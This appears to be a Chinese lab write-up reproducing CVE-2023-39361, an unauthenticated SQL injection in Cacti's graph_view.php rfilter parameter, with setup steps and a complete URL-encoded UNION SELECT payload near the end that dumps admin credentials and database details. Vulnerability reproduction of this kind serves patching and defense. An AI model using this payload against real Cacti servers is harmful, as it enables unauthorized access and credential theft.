Cacti graph_view.php SQL注入导致远程代码执行漏洞(CVE-2023-39361)复现
·
环境准备
| 机器 | IP |
|---|---|
| kali | 10.132.1.173 |
| 靶机 | 10.22.135.28 |
Cacti是一个全面的网络图形化解决方案,旨在利用RRDTool的数据存储和图形功能,为网络管理员提供直观的界面来监控和分析网络性能数据。
在Cacti 1.2.24及更早版本中,graph_view.php文件存在一个严重的漏洞,当启用guest用户时,未经任何身份验证的攻击者通过rfilter参数即可执行SQL注入攻击,最终可能导致远程代码执行。
访问80端口,进入Cacti界面。默认凭据为admin/admin

请以管理员身份登录并按照初始化说明进行操作。只需重复点击下一步按钮,直到看到成功页面。
该漏洞如果需要未认证利用,必须启用guest用户。你可以以管理员身份登录,导航至Configuration -> Authentication页面,并启用guest用户,然后右下角保存:
漏洞复现
该漏洞位于graph_view.php文件中的grow_right_pane_tree函数内。当action参数设置为tree_content时,用户输入的rfilter参数由html_validate_tree_vars函数验证。然而,这种验证仅确保输入是有效的正则表达式,无法防止SQL注入。
访问http://10.22.135.28/graph_view.php,可以看到无需身份验证即可访问:
当前URL中tree_id可能被隐藏,但默认是tree_id=1,我们修改URL为:
http://10.22.135.28/graph_view.php?action=tree&tree_id=1
可以看到,修改URL后,页面能正常显示,说明tree_id是系统中真实存在的有效参数:
我们使用bp工具对页面抓包:
然后发送到Repeater模块,向graph_view.php端点发送带有以下参数的请求:

/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23
可以看到成功爆出数据库信息和管理员账户密码。
更多推荐
所有评论(0)